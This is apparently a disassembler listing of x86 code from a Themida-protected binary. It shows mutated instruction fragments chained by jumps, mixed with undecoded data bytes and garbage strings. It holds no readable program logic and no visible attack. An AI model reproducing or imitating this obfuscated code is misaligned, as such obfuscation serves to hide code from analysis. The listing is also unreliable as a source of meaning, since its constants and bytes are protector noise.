		dd 0ED81CD01h, 1C1233A4h, 83240C8Bh, 895304C4h,	484E9E3h
		dd 0F0890000h, 0E92434FFh, 0FFFFFB46h
; ---------------------------------------------------------------------------


loc_55BDAC:				; CODE XREF: Themida_:00559CB0j
		pop	esp
		mov	[esp], edx
		push	ebx
		push	eax
		jmp	loc_556A2B
; ---------------------------------------------------------------------------
		db 68h
		dd 1CC0h, 0B7241C89h, 4EC8114h,	89000000h, 0D5B62414h
		dd 0F6AAEE80h, 2E6C0D6h, 68AACE80h, 0
		dd 2E240480h, 80243428h, 8A2E242Ch, 0C4832434h,	2F68004h
		dd 73E9F730h
		db 0CFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BDF7:				; CODE XREF: Themida_:0055A663j
		mov	ecx, 2
		add	eax, ecx
		pop	ecx
		jmp	loc_558C0A
; ---------------------------------------------------------------------------
		dd 4EC8353h, 0C4D1E9h, 535D5400h, 0F426E9h, 5F38000h, 0B6E95366h
		dd 5900004Ah, 0E9B15166h, 5966C830h, 0C5885152h, 41E9EA88h
		dd 280000A7h, 2434FFF1h, 0E924148Bh, 0F43Ch, 0E9241C8Bh
		dd 11B3h
; ---------------------------------------------------------------------------


loc_55BE48:				; CODE XREF: Themida_:0055D51Fj
		add	bl, 6Dh
		add	bl, ah
		jmp	loc_564F18
; ---------------------------------------------------------------------------


loc_55BE52:				; CODE XREF: Themida_:00557935j
		add	ebx, 5615D102h
		sub	edi, ebx
		jmp	loc_563C6B
; ---------------------------------------------------------------------------


loc_55BE5F:				; CODE XREF: Themida_:005621C1j
		shl	eax, 5
		sub	eax, 8B40A0Fh
		or	ecx, eax
		push	dword ptr [esp]
		pop	eax
		push	ebx
		push	esp
		jmp	loc_55D31C
; ---------------------------------------------------------------------------
		dd 2903ED81h, 0ECE938FCh, 890000A5h, 9BB5240Ch,	0E5C0C5FEh
		dd 0A917E902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BE8E:				; CODE XREF: Themida_:00567F20j
		push	4970h
		mov	[esp], esi
		push	edi
		jmp	loc_564DC6
; ---------------------------------------------------------------------------
		dd 8124048Bh, 4C4h, 0F8E95200h,	58000064h, 0C445E9h
		db 0
; ---------------------------------------------------------------------------


loc_55BEB1:				; CODE XREF: Themida_:005560CBj
		mov	[esp], eax
		push	4E4D2075h
		pop	eax
		jmp	loc_5581BC
; ---------------------------------------------------------------------------
		db 0BDh
		dd 7D6E426Ch, 1EE58145h, 81296300h, 0F73055CDh,	5BE5813Ah
		dd 81215A05h, 76D417C5h, 5DE901BFh, 0FFEC45E9h,	57EE81FFh
		dd 0E9334005h, 783Bh, 0D8EE815Fh, 1FA77BCh, 0C3835EF3h
		dd 241C8704h, 0C0B60F5Ch, 0E98734FFh, 0FFFFA2A6h
; ---------------------------------------------------------------------------


loc_55BF0C:				; CODE XREF: Themida_:00559091j
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_55C4E7
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 23BFE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55BF22:				; CODE XREF: Themida_:00559C00j
		push	4099h
		mov	[esp], eax
		mov	eax, 0
		jmp	loc_556D36
; ---------------------------------------------------------------------------
		dd 8124348Bh, 4C4h, 242C3300h, 33242C31h, 248B242Ch, 2434FF24h
		dd 95C6E9h
		db 0
; ---------------------------------------------------------------------------


loc_55BF51:				; CODE XREF: Themida_:0056290Dj
		and	edi, 11CA237Fh
		shl	edi, 8
		push	edi
		neg	dword ptr [esp]
		mov	edi, [esp]
		jmp	loc_557662
; ---------------------------------------------------------------------------


loc_55BF66:				; CODE XREF: Themida_:005569C3j
		push	ebp
		jmp	loc_55CA67
; ---------------------------------------------------------------------------


loc_55BF6C:				; CODE XREF: Themida_:00568B67j
		add	[esp+8], eax
		push	ebp
		mov	ebp, 4B8721B9h
		add	[esp+0Ch], ebp
		pop	ebp
		mov	eax, [esp]
		add	esp, 4
		sub	dword ptr [esp+4], 71930B2Bh
		sub	[esp+4], edx
		jmp	loc_55E920
; ---------------------------------------------------------------------------
aMsI		db 'M鸛',0
		db 0
; ---------------------------------------------------------------------------


loc_55BF9B:				; CODE XREF: Themida_:00567521j
		shr	ecx, 4
		not	ecx
		sub	ecx, 0E5EF1249h
		sub	eax, ecx
		pop	ecx
		mov	[eax], edx
		jmp	loc_556753
; ---------------------------------------------------------------------------
		dd 0BF57E289h, 5A5B4E63h, 0FFB767E9h, 0B0E0B6FFh, 0E9F028C1h
		dd 4693h, 6F04F681h, 0BA525220h, 719930C5h, 515AD621h
		dd 0BF6112B9h, 0E1C14133h, 3E9C104h, 0A9BEC181h, 0CE292D45h
		dd 5EF72959h, 11FDE9h, 48B6600h, 72046824h, 6AE90000h
		dd 5CFFFFB9h, 68243489h, 1922h,	81240C89h, 4ECh, 24348900h
		dd 0A860C8BEh, 5EF18910h, 697F181h, 0FDE95A02h,	10000CAh
		dd 0B4EB81F3h, 8B40E80Fh, 62E92434h
		db 8Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55C03B:				; CODE XREF: Themida_:00559FF4j
		sub	edi, ebp
		jmp	loc_56B091
; ---------------------------------------------------------------------------
		dw 0F989h
		dd 8BCD015Fh, 0FBE9240Ch, 50000098h, 95E4E9h, 0B2E95E00h
		dd 51000010h, 42474FFh,	24048F59h, 0FFE90BE9h, 48F66FFh
		dd 9C52E987h, 2D48FFFFh, 73CA23C4h, 0E29ED81h, 0C52957BFh
		dd 0A1D0E9h
		db 0
; ---------------------------------------------------------------------------


loc_55C085:				; CODE XREF: Themida_:0055F634j
		push	esi
		push	4C680A2Bh
		pop	esi
		sub	esi, 110F5EE0h
		inc	esi
		inc	esi
		add	esi, 0BE9499Ah
		jmp	loc_55A812
; ---------------------------------------------------------------------------


loc_55C09F:				; CODE XREF: Themida_:0055FD68j
		mov	bh, dl
		pop	edx
		add	bh, 0B8h
		add	bh, 0FFh
		not	bh
		shr	bh, 3
		not	bh
		push	edx
		mov	dh, 0C0h
		inc	dh
		shr	dh, 1
		xor	dh, 0CDh
		add	bh, dh
		mov	edx, [esp]
		add	esp, 4
		mov	dl, bh
		pop	ebx
		add	dl, 3Fh
		push	ecx
		mov	cl, 67h
		add	cl, 15h
		jmp	loc_5673C6
; ---------------------------------------------------------------------------
		dw 0EAC0h
		dd 0B4EA8006h, 0E95AD788h, 9BA9h, 4C5815Dh, 51000000h
		dd 2B9h, 59CD0100h, 5C242C87h, 3AE968h,	241C8900h, 0E9CEB551h
		dd 0FFFFD05Ah
; ---------------------------------------------------------------------------


loc_55C104:				; CODE XREF: Themida_:0056592Fj
		xchg	esi, [esp]
		pop	esp
		shr	eax, 0Bh
		jmp	loc_5651EB
; ---------------------------------------------------------------------------


loc_55C110:				; CODE XREF: Themida_:00565803j
		sub	esi, 6BBD7D1Ah
		pop	ecx
		push	edx
		jmp	loc_5673F3
; ---------------------------------------------------------------------------
aNNgzhqc	db '­-Ën£zhŸC',0
		align 4
		dd 0E9242C89h, 0FFFFBDD2h
; ---------------------------------------------------------------------------


loc_55C130:				; CODE XREF: Themida_:0055D1DEj
		add	edi, eax
		pop	eax
		push	0A45h
		mov	[esp], esi
		mov	esi, 5437487Ch
		xor	edi, esi
		pop	esi
		xor	edi, 62E0F1Bh
		push	ecx
		jmp	loc_569D41
; ---------------------------------------------------------------------------
		db 50h
		dd 2434FF54h, 4C48358h,	405h, 4C08300h,	5C240487h, 0E904EC83h
		dd 0A044h, 4C481h, 4DE90000h, 89FFFF9Bh, 0DDB9240Ch, 815A8D6Eh
		dd 93050EF1h, 27B8503Eh, 3102820Ah, 0B8E958C1h
		db 0B9h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55C193:				; CODE XREF: Themida_:00560887j
		pop	eax
		sub	esp, 4
		jmp	loc_5637D6
; ---------------------------------------------------------------------------
		dd 24048F58h, 8D24E9h, 24148700h, 240C895Ch, 0FFD494E9h
		dd 4C483FFh, 8324148Bh,	0D80004C4h, 8555E9h, 0F8B85000h
		dd 0D355A3Ah, 575A3942h, 0FFED58E9h, 68C301FFh,	523Dh
		dd 0B9240C89h, 36A857CFh, 5201E983h, 6B6593BAh,	0E9D10143h
		dd 0B8E5h, 0A2E9DF01h
		db 7Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55C1F7:				; CODE XREF: Themida_:0056ACE2j
		add	esi, 5164C99h
		add	esi, ebp
		sub	esi, 5164C99h
		pop	ebp
		push	ecx
		push	esi
		mov	esi, 744242D8h
		not	esi
		sub	esi, 8BBDBD23h
		mov	ecx, esi
		jmp	loc_561791
; ---------------------------------------------------------------------------
		dd 0B5E68h, 5000E900h, 0C3810000h, 4, 4EB81h, 0FE90000h
		db 0EFh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55C237:				; CODE XREF: Themida_:0055DBB3j
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		push	9DCh
		mov	[esp], ebp
		mov	ebp, 1F577C53h
		jmp	loc_555D3C
; ---------------------------------------------------------------------------
		dd 8324148Bh, 895204C4h, 0CA15E9E2h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55C25E:				; CODE XREF: Themida_:0055B56Dj
		push	ebx
		mov	ebx, 4
		push	edi
		jmp	loc_56829F
; ---------------------------------------------------------------------------
		dw 2C87h
		dd 0EB815C24h, 435921D6h, 0B850FB29h, 23FF716Ah, 0A9798435h
		dd 0E7182D21h, 0C301BEFCh, 0FFF2E5E9h, 0D7B850FFh, 295CE558h
		dd 34FF58C3h, 0C4835F24h, 2C38304h, 5C241C87h, 24048B66h
		dd 535A5452h, 4BBh, 5BDA0100h, 807DE9h,	53EEBF00h, 0FD29036Ch
		dd 5DE9015Fh, 0BF57E929h, 0E8E1872h, 89C8E9h
		db 0
; ---------------------------------------------------------------------------


loc_55C2D1:				; CODE XREF: Themida_:0055B9A2j
		mov	[esp], cx
		jmp	loc_569A84
; ---------------------------------------------------------------------------
		dw 0EF01h
aLRs		db '‹,$Ré;,',0
		db 0
; ---------------------------------------------------------------------------


loc_55C2E5:				; CODE XREF: Themida_:00565FFFj
		push	ecx
		mov	ecx, 27291F58h
		add	edx, ecx
		jmp	loc_55EAC1
; ---------------------------------------------------------------------------


loc_55C2F2:				; CODE XREF: Themida_:00558266j
		mov	eax, 149843D4h
		shl	eax, 1
		shr	eax, 8
		xor	eax, 649C2093h
		push	eax
		not	dword ptr [esp]
		pop	eax
		push	edi
		jmp	loc_55FDF5
; ---------------------------------------------------------------------------
		dd 5656B850h, 0BF576970h, 69705655h, 895FF829h,	0F18958C6h
		dd 0E441E9h
		db 0
; ---------------------------------------------------------------------------


loc_55C325:				; CODE XREF: Themida_:0055838Bj
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_56953C
; ---------------------------------------------------------------------------
		dd 5704C483h, 9275D4BFh, 4EC8357h, 55243C89h, 5F2434FFh
		dd 0FFAA7DE9h, 29E952FFh, 8B0000D7h, 0C2832424h, 24148702h
		dd 8424248Bh, 61E99CC8h, 28FFFF99h, 0D18DE9F8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55C36A:				; CODE XREF: Themida_:0055E83Bj
		pop	dword ptr [esp]
		mov	esp, [esp]
		or	edx, eax
		jmp	loc_564025
; ---------------------------------------------------------------------------


loc_55C377:				; CODE XREF: Themida_:005571CBj
		sub	ebx, edx
		push	ebx
		push	edi
		mov	edi, 218044E5h
		add	[esp+4], edi
		pop	edi
		jmp	loc_561A97
; ---------------------------------------------------------------------------


loc_55C38A:				; CODE XREF: Themida_:00561D9Fj
		pop	esp
		xor	eax, ebx
		xor	ebx, eax
		xor	eax, ebx
		push	65B8h
		mov	[esp], ebp
		push	4D90h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		jmp	loc_567A9D
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 24248B24h, 9C240409h, 0FF9907E9h, 4BA2CFFh, 0ADE1E9EEh
		dd 2BAFFFFh, 1000000h, 68E95AD6h
		db 40h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55C3D3:				; CODE XREF: Themida_:0055AFD9j
		and	ecx, eax
		jmp	loc_55C8BA
; ---------------------------------------------------------------------------
		dw 0BF57h
		dd 4, 535FFB01h, 42474FFh, 24048F5Bh, 199AE95Ch, 335A0000h
		dd 0C31240Ch, 240C3324h, 0ED9EE9h, 5DEB0100h, 0E7B3E952h
		dd 248BFFFFh, 24040824h, 98AEE99Ch, 1C8BFFFFh, 4C48124h
		dd 68000000h, 2622h, 52242C89h,	4BAh, 332CE900h, 0E95C0000h
		dd 0E0F7h
; ---------------------------------------------------------------------------


loc_55C438:				; CODE XREF: Themida_:0055622Aj
		add	esi, 0A2573A7h
		jmp	loc_561EE7
; ---------------------------------------------------------------------------


loc_55C443:				; CODE XREF: Themida_:0055FDE0j
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		push	29F1h
		mov	[esp], ebp
		jmp	loc_56A71F
; ---------------------------------------------------------------------------


loc_55C455:				; CODE XREF: Themida_:0055A163j
		push	ecx
		not	dword ptr [esp]
		pop	ecx
		xor	ecx, 498C3168h
		add	ebp, ecx
		pop	ecx
		jmp	loc_556408
; ---------------------------------------------------------------------------
		dd 8BD1315Ah, 0C4832414h, 82E95504h, 87FFFFD1h,	895C2414h
		dd 0E0892404h, 405h, 40500h, 98E90000h,	0C0FFFFBAh, 885304EAh
		dd 88D7F6D7h, 0D942E9FAh, 0F5810000h, 3B365EE0h, 0B5E6C581h
		dd 0ED83273Fh, 6EBC6801h, 0BAE90000h, 89000017h, 4C681E6h
		dd 81000000h, 4C6h, 9BD8E900h, 0E689FFFFh, 4C681h, 0EE830000h
		dd 24348704h, 0D498E95Ch, 8B66FFFFh, 97E9240Ch
		db 0F1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C4E7:				; CODE XREF: Themida_:0055BF12j
		and	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_55608A
		sub	esp, 4
		mov	[esp], eax
		push	1418h
		mov	[esp], esi
		push	ecx
		push	eax
		mov	eax, 79B95F15h
		mov	ecx, eax
		jmp	loc_556E4F
; ---------------------------------------------------------------------------
aMhxa		db '¬hXA',0
		align 4
		dd 0B2241489h, 5EAC011h, 0E905E2C0h, 0FFFFE75Eh
; ---------------------------------------------------------------------------


loc_55C52C:				; CODE XREF: Themida_:005586A7j
		mov	ecx, esp
		push	edx
		mov	edx, 7940781Dh
		jmp	loc_55F427
; ---------------------------------------------------------------------------
		db 0D1h, 0E5h, 51h
		dd 0FFF070E9h, 74FF66FFh, 5F660224h, 24048F66h,	5B09E9h
		dd 36E9B900h, 0CB01328Eh, 5CC38159h, 10A0A03h, 5CEB81D3h
		dd 810A0A03h, 8E36E9EBh, 1C875A32h, 8E4DE924h, 814F0000h
		dd 544D0FCFh, 46F78111h, 0E9142722h, 0FFFFE6D2h, 340EBB53h
		dd 0FFE9686Ch
		db 0BDh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55C593:				; CODE XREF: Themida_:00568188j
		mov	[esp], esi
		push	ecx
		push	62391911h
		pop	ecx
		inc	ecx
		jmp	loc_564404
; ---------------------------------------------------------------------------
aFQPY		db 'f[Q±p(ÏY',0
aCaPxfh		db 'ç€ÇpXfh',0
		dd 0CCD8E900h, 0C1830000h, 0DCC18101h, 814B2F1Eh, 2ECDE6C1h
		dd 4C1818Ch, 0E957333Bh, 0FFFFD3B4h, 3299BE56h,	0F2293A2Dh
		dd 8124348Bh, 4C4h, 8BD00100h, 0D0E92414h
		db 0B3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C5EF:				; CODE XREF: Themida_:00561373j
		add	edx, ebx
		pop	ebx
		and	eax, edx
		pop	edx
		shr	eax, 0Eh
		jmp	loc_55EFDB
; ---------------------------------------------------------------------------
		db 0C1h, 0EAh, 7
		dd 0A2E9D2F7h
		db 7, 2	dup(0)
; ---------------------------------------------------------------------------


loc_55C607:				; CODE XREF: Themida_:005596EBj
		push	eax
		mov	eax, 497A0572h
		shl	eax, 6
		jmp	loc_55B4C0
; ---------------------------------------------------------------------------
		db 66h,	89h, 4
		dd 96A6E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C61E:				; CODE XREF: Themida_:00561199j
		push	edx
		mov	dl, 47h
		dec	dl
		or	dl, 64h
		jmp	loc_56837D
; ---------------------------------------------------------------------------


loc_55C62B:				; CODE XREF: Themida_:005591BFj
		mov	[esp], ecx
		mov	ecx, 353E9Ah
		jmp	loc_55A9A4
; ---------------------------------------------------------------------------
aZz4So		db ')ÖZ‡4$\éO',0Ah,0
		align 4
		dd 0B252CFFEh, 0E9DAF6AEh, 0FFFFFE3Fh, 0E904C483h, 0FFFFABAAh
; ---------------------------------------------------------------------------


loc_55C658:				; CODE XREF: Themida_:00556C35j
		or	edx, 26BA3F93h
		sub	edx, 77BA3FD3h
		add	esi, edx
		jmp	loc_5567CD
; ---------------------------------------------------------------------------
		db 68h
		dd 7DBCh, 0BD242C89h, 2DBB6B1Ch, 6F63F581h, 0E8295487h
		dd 18A5E95Dh, 0E9590000h, 6B30h, 0E958C501h, 0BB99h, 0E904C483h
		dd 0FFFFF71Bh, 5C24048Fh, 9C2424D2h, 0FF961BE9h, 81E789FFh
		dd 4C7h, 4B95100h, 0E9000000h, 0FFFFC5C1h
; ---------------------------------------------------------------------------


loc_55C6BC:				; CODE XREF: Themida_:0055F25Dj
		xor	edx, esi
		pop	esi
		xor	edx, 2A22218Fh
		mov	edi, edx
		pop	edx
		sub	eax, edi
		pop	edi
		push	ebx
		mov	ebx, 61A6617Ch
		and	ebx, 39A10F5Fh
		add	ebx, 35522D52h
		jmp	loc_558EDD
; ---------------------------------------------------------------------------
		dw 44BAh
		dd 0C1042A29h, 0EA8103EAh, 0DEECD8F8h, 555AD101h, 9C579FBDh
		dd 5DE93165h, 14E9C809h, 81000006h, 1F4C8BEFh, 5FFA8963h
		dd 8BBB50BEh, 0C4B7E9BBh, 0C381FFFFh, 3ECA3C5Ah, 0C8EB8159h
		dd 81029A3Eh, 0F04690C3h, 7AD9E930h, 0E5C10000h, 4E5C103h
		dd 9942E9h, 0F666400h, 686602B6h, 0BDE92B94h
		db 0C6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C747:				; CODE XREF: Themida_:0056776Dj
		add	esp, 4
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_55CC59
; ---------------------------------------------------------------------------
		dd 0F606EBC0h, 4C16E9D3h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55C762:				; CODE XREF: Themida_:00567F12j
		xor	ecx, [esp]
		pop	esp
		jmp	loc_5573B7
; ---------------------------------------------------------------------------
		db 55h
		dd 3A7FC7BDh, 0C74AE94Ah, 46B90000h, 0E96D846Bh, 5706h
		dd 71C2815Dh, 0E9F57A1Fh, 0FFFFCD62h, 0FDF5F381h, 0DA89F9F6h
		dd 0B3BF575Bh, 0D13F510Fh, 0E9D7F7E7h, 521Bh
; ---------------------------------------------------------------------------


loc_55C7A4:				; CODE XREF: Themida_:00558D86j
		mov	edi, eax
		pop	eax
		and	ebx, edi
		pop	edi
		add	ebx, 2227362Bh
		jmp	loc_5578A6
; ---------------------------------------------------------------------------
aQS_0		db '^Áï',8,'éÕ',9,0
		align 2
		dw 882Ch
		dd 2C5BB92Ch, 0FEE8D08Bh, 49604C8h, 0C288523Dh,	0D088D2F6h
		dd 0FEC8FE5Ah, 6A34C0h,	0CE8058C6h, 6E6C051h, 50F1E951h
		dd 0D3660000h, 0E99C2404h, 0FFFFEE67h
; ---------------------------------------------------------------------------


loc_55C7F4:				; CODE XREF: Themida_:0055D3B8j
		mov	[esp], edx
		pop	eax
		jmp	loc_565D6A
; ---------------------------------------------------------------------------


loc_55C7FD:				; CODE XREF: Themida_:005614DCj
		xor	edx, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	262F51C1h
		jmp	loc_55D639
; ---------------------------------------------------------------------------
		dd 1C8BF888h, 4C48124h,	51000000h, 0EFC68h, 241C8900h
		dd 0FFB3B4E9h, 18D68FFh, 1C890000h, 0CB10E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C836:				; CODE XREF: Themida_:00567B1Fj
		push	77D8h
		mov	[esp], eax
		xor	[esp], ebx
		jmp	loc_56834B
; ---------------------------------------------------------------------------
		dw 0E95Fh
		dd 1054h, 8904EC83h, 0DE92434h,	53FFFFA8h, 0DC88D6B3h
		dd 0BECAE95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55C862:				; CODE XREF: Themida_:005632ADj
		sub	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_5570E9
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 674A27A7h, 81243C8Bh, 4C4h, 24343300h, 33243431h, 55E92434h
		db 59h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55C893:				; CODE XREF: Themida_:00565697j
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4
		jmp	loc_569CC8
; ---------------------------------------------------------------------------
		db 81h
		dd 0C83C4DE1h, 0F7D18742h, 81D187D2h, 3FF7B3F1h, 9D89E9FDh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C8BA:				; CODE XREF: Themida_:0055C3D5j
		pop	eax
		not	ecx
		jmp	loc_55E9BF
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 2C78104h, 87000000h,	0AE9243Ch, 0C10000C3h, 893503E8h
		dd 810102F9h, 4A7A51C3h, 81C30122h, 4A7A51EBh, 7BF5E922h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55C8EE:				; CODE XREF: Themida_:0056089Fj
		shl	ecx, 5
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 0C7B8F6E4h
		xor	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	esi, 6BBD7D1Ah
		add	esi, 1E820F07h
		jmp	loc_5626D1
; ---------------------------------------------------------------------------
		dd 4C781h, 0C7810000h, 4, 5C243C87h, 0FFBB86E9h, 24248BFFh
		dd 65FC68h, 0BFDDE900h,	680000h, 0E9000000h, 0FFFFE249h
; ---------------------------------------------------------------------------


loc_55C944:				; CODE XREF: Themida_:0056A031j
		mov	ch, al
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		sub	esp, 4
		jmp	loc_5648ED
; ---------------------------------------------------------------------------
		db 66h
		dd 5224048Bh, 0EC83E289h, 241C8904h, 772A2DBBh,	0ADD9E916h
		dd 8B660000h, 5456240Ch, 829DE9h, 1685300h, 5B7E3433h
		dd 27A2E381h, 0D3F754BCh, 82BAC381h, 4AE994F8h,	83FFFFD5h
		dd 69E904C6h, 83FFFFDDh, 0E957FFEAh, 2871h, 8B240C33h
		dd 0C3312424h, 0B60F66h, 28E9E9h
		db 0
; ---------------------------------------------------------------------------


loc_55C9B9:				; CODE XREF: Themida_:00558E5Dj
		pop	edi
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		and	edx, ecx
		pop	ecx
		push	edx
		not	dword ptr [esp]
		pop	edx
		push	edi
		jmp	loc_556EDB
; ---------------------------------------------------------------------------
		dw 0F66h
		dd 5166C8B6h, 92E6E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C9DE:				; CODE XREF: Themida_:00556C94j
		pop	ecx
		mov	edx, 23A5FBEEh
		add	edx, eax
		jmp	loc_55DF78
; ---------------------------------------------------------------------------
		db 55h
		dd 0BC1F2868h, 0CD815D5Dh, 0B62A21h, 3CE9E5D1h
		db 97h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C9FF:				; CODE XREF: Themida_:0056AFA2j
		push	ecx
		pop	esi
		pop	ecx
		jmp	loc_565D52
; ---------------------------------------------------------------------------
		db 51h
		dd 0FFA053E9h, 79468FFh, 4890000h, 279DB824h, 5D5029C0h
		dd 0C9EAE958h, 0E951FFFFh, 6307h, 8904EC83h, 0E9542414h
		dd 0C07Bh, 1935C281h, 0F2E93965h
		db 9Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CA3F:				; CODE XREF: Themida_:00560B66j
		push	dword ptr [esp]
		jmp	loc_5670C7
; ---------------------------------------------------------------------------


loc_55CA47:				; CODE XREF: Themida_:00564B49j
		add	esp, 4
		push	dword ptr [eax]
		pop	ecx
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_55F0C5
; ---------------------------------------------------------------------------
		db 52h,	0E9h, 1Dh
		db 24h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55CA67:				; CODE XREF: Themida_:0055BF67j
		mov	ebp, esp
		jmp	loc_5635BB
; ---------------------------------------------------------------------------


loc_55CA6E:				; CODE XREF: Themida_:005634B3j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		add	esi, edi
		mov	edi, [esp]
		add	esp, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		push	ebp
		push	6B75h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		add	ebp, 4
		push	ecx
		push	edx
		push	95D4FC9h
		pop	edx
		mov	ecx, 0F6A2B03Bh
		add	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		sub	ebp, ecx
		pop	ecx
		jmp	loc_561B25
; ---------------------------------------------------------------------------
		db 0F6h, 0D5h, 88h
		dd 0F355E9E8h, 0FFB8FFFFh, 0E9FFFFFFh, 8866h, 0F8C3805Ah
		dd 0EB80EB28h, 0E95266F8h, 0AE21h, 4C481h, 0BB530000h
		dd 1A605A60h, 0E95BD901h, 331h,	0FF91C7E9h, 35EA81FFh
		dd 0E9396519h, 1E7Fh, 81242C8Bh, 4C4h, 0A3C4E900h, 0EA810000h
		dd 0E07ADCE9h, 0FFD6F6E9h, 241C8BFFh, 4C481h, 0C4810000h
		dd 4, 81FFC783h, 4ECh, 242C8900h, 0E904EC83h, 3AAAh, 0CCBA525Eh
		dd 0C1218677h, 0C14202E2h, 0EAC103E2h, 0A1CA8102h, 8178103Ch
		dd 38A931F2h, 0F9E98140h, 1750922h, 0F9C181D1h,	5A750922h
		dd 0E195E9h
		db 0
; ---------------------------------------------------------------------------


loc_55CB75:				; CODE XREF: Themida_:0055E6FBj
		xor	edx, 0A808D0AAh
		sub	ecx, edx
		jmp	loc_55E413
; ---------------------------------------------------------------------------
		dw 0F758h
		dd 0AEE781D7h, 81081E3Eh, 0F763CDC7h, 0E9FD2156h, 8219h
; ---------------------------------------------------------------------------


loc_55CB98:				; CODE XREF: Themida_:00559DBEj
		pop	ebp
		sub	edi, 2
		jmp	loc_568895
; ---------------------------------------------------------------------------
		db 31h,	7Ch, 24h
		dd 5A5AE904h, 8B660000h, 5451240Ch, 0C9E2E9h, 0D831AD00h
		dd 177968h, 24048900h, 405E089h, 52000000h, 530C6853h
		dd 525B5CE4h, 0C01E62BAh, 55CA817Dh, 4A643A4Ch,	1784E9h
		db 0
; ---------------------------------------------------------------------------


loc_55CBE1:				; CODE XREF: Themida_:00568F95j
		pop	esp
		jmp	loc_563061
; ---------------------------------------------------------------------------
		db 1
		dd 66C681D6h, 8108E20Eh, 457C25EEh, 0CF1CE940h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CBFA:				; CODE XREF: Themida_:0055D48Ej
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_5630AE
; ---------------------------------------------------------------------------


loc_55CC09:				; CODE XREF: Themida_:0055E2CCj
		mov	esi, eax
		pop	eax
		add	esi, 8677624h
		sub	esi, 0B0876EBh
		jmp	loc_561B42
; ---------------------------------------------------------------------------
		db 66h,	5Bh, 30h
		dd 24048BC5h, 4C481h, 0E8280000h, 8B2434FFh, 2E9240Ch
		dd 0BD0000A4h, 2C453A1Ch, 521AF581h, 0E5C11A73h, 6AC58106h
		dd 0C13B1108h, 0BB5304E5h, 9023C0Ch, 9781E9h
		db 0
; ---------------------------------------------------------------------------


loc_55CC59:				; CODE XREF: Themida_:0055C753j
		xor	edi, [esp]
		pop	esp
		push	4660h
		jmp	loc_5680CD
; ---------------------------------------------------------------------------


loc_55CC67:				; CODE XREF: Themida_:00565031j
		mov	esi, 568C1E12h
		mov	ebx, esi
		pop	esi
		push	eax
		mov	eax, 0FFFFFFFFh
		sub	ebx, eax
		pop	eax
		jmp	loc_559515
; ---------------------------------------------------------------------------
		db 5Bh,	81h, 0ECh
		dd 4, 0D544E9h,	58C72000h, 0E96EC780h, 1E20h, 0A405D829h
		dd 2D1AFB53h, 73970992h, 6AAE9h
		db 0
; ---------------------------------------------------------------------------


loc_55CCA5:				; CODE XREF: Themida_:00569483j
		mov	eax, 479EEED4h
		xor	eax, ebp
		pop	ebp
		jmp	loc_55B0E1
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0C4835B24h, 34815704h, 0DE47F924h, 0EC835A27h, 243C8904h
		dd 1B356851h, 0B3E92917h, 0F6FFFFF9h, 6E1C0D1h,	3BB45052h
		dd 0CC80CCFEh, 0FEDCF6B1h, 0D7DCE9CCh, 0C481FFFFh, 4, 0E904C483h
		dd 441Fh
; ---------------------------------------------------------------------------


loc_55CCF8:				; CODE XREF: Themida_:00568303j
		not	esi
		jmp	loc_5689D0
; ---------------------------------------------------------------------------
		db 81h
		dd 4C6h, 4BD5500h, 1000000h, 34875DEEh,	0EDE95C24h, 59FFFFD8h
		dd 6EE3E9h, 12D00h, 680000h, 81000000h,	6ECC242Ch, 4292318h
